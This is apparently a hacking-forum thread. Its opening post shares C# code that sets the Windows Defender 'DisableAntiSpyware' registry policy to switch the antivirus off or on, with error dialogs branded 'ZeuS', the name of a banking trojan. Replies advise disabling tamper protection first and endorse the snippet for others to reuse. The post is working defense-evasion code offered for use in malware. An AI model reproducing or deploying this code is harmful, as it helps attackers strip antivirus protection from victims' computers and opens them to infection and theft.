Posted
This code disable/enable Defender need to run as administrator for work
add this line top of code:
using Microsoft.Win32;
Disable Defender:
try
{
var value = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 0);
if (value.ToString() == "0")
{
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 1, RegistryValueKind.DWord);
}
}
catch (Exception)
{
var value = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 0);
if (value.ToString() == "0")
{
MessageBox.Show("Failed to disable Defender.\nYou need to run as Administrator", "ZeuS", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
Enable Defender :
try
{
var value = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 0);
if (value.ToString() == "1")
{
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 0);
}
}
catch (Exception)
{
var value = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 0);
if (value.ToString() == "1")
{
MessageBox.Show("Failed to enable Defender.\nYou need to run as Administrator", "ZeuS", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}Replied
you probably want to disable tamper protection before you do this.
Cancel
Post
Replied
Not hard to make but usable for others
Vouch+
Cancel
Post
Users viewing this thread:
( Members: 0, Guests: 1, Total: 1 )
Cancel
Post